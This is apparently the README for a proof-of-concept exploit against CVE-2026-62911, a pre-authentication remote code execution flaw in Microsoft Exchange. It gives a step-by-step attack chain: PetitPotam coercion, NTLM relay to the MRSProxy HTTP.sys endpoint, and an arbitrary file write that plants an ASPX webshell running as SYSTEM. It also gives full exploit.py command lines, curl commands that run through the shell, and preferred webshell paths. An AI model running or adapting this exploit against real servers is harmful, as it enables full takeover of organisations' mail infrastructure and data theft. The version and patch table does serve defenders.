
针对 CVE-2026-62911 的概念验证(PoC)漏洞利用程序:通过 NTLM 中继到 MRSProxy,在 Microsoft Exchange 上实现预认证 RCE,写入 ASPX WebShell 以 SYSTEM 权限执行命令。
Microsoft Exchange Server 上的预认证 RCE。无需任何凭据。
Orange Tsai(DEVCORE)在 Pwn2Own Berlin 2026 上将其作为 3 漏洞利用链的一部分使用。奖金 20 万美元,可完全接管 SYSTEM。
Exchange 在两条路径上暴露了 MailboxReplicationProxyService(MRSProxy)。其中一条位于未启用扩展保护(Extended Protection)的 HTTP.sys 上:
| 路径 | 托管方 | 扩展保护 |
|---|---|---|
/EWS/MRSProxy.svc | IIS | 有。安全。 |
/Microsoft.Exchange.MailboxReplicationService.ProxyService | HTTP.sys | 无。中继目标。 |
HTTP.sys 端点接受 Negotiate 身份验证,但从不检查通道绑定。你将机器帐户哈希中继到该端点,Exchange 便会把你当作那台机器。机器帐户默认持有 ms-Exch-EPI-Token-Serialization 权限,因此 WCF 服务会授予完全访问权限。
一旦进入内部,IMailbox_Config6() 会接收一个 filePath 参数。PstDestinationMailbox.ConfigPst() 会写入你提供的任意路径。没有扩展名检查。将其指向 IIS 目录,调用 IMailbox_Connect(),文件便会落到磁盘上。将该文件制作成 ASPX WebShell。搞定。
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}
Exchange 2016 已于 2025 年 10 月停止支持。2026 年 8 月的修复仅通过扩展安全更新(ESU)提供。如果组织未购买 ESU,则没有补丁可用。
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
五个步骤:
在 EX02 上触发 MS-EFSR(EfsRpcOpenFileRaw)。它会使用自己的机器帐户向你进行身份验证。PetitPotam 可对未修补的 Exchange 进行未认证利用。
你的 SMB 监听器捕获来自 EX02$ 的 NTLM 协商。
通过 HTTPS 将其转发到 EX01 的 MRSProxy。该端点不检查 EPA,因此中继成功完成。机器帐户已经拥有 Exchange 序列化权限,因此授权通过。
发送 WCF 调用:先以类似 C:\inetpub\wwwroot\aspnet_client\shell.aspx 的路径调用 IMailbox_Config6,然后调用 IMailbox_Connect。Exchange 写入该文件。
访问 WebShell。你已是 SYSTEM。
安装依赖:
pip install impacket pysocks
检查 MRSProxy 是否暴露:
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
你应该在 401 响应中看到带有 Negotiate 的 Microsoft-HTTPAPI/2.0。这确认 HTTP.sys 端点处于活动状态且不存在 EPA。
运行漏洞利用:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
如果 PetitPotam 需要目标上的身份验证:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
通过 SOCKS 隧道:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
选择其他写入位置:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
验证 WebShell 是否成功写入:
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
使用它:
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
仅限授权测试。在对任何目标运行之前,请获得书面许可。
| 产品 | 低于以下版本即存在漏洞 | 已修复版本 | KB |
|---|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
| 磁盘路径 | URL | 原因 |
|---|
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx | /aspnet_client/system_web/shell.aspx | 默认 IIS 客户端脚本目录。通常可写,可执行 ASPX。 |
C:\inetpub\wwwroot\aspnet_client\shell.aspx | /aspnet_client/shell.aspx | 相同,路径更短。 |
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx | /owa/auth/shell.aspx | OWA 认证文件夹。 |
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx | /ecp/auth/shell.aspx | ECP 认证文件夹。 |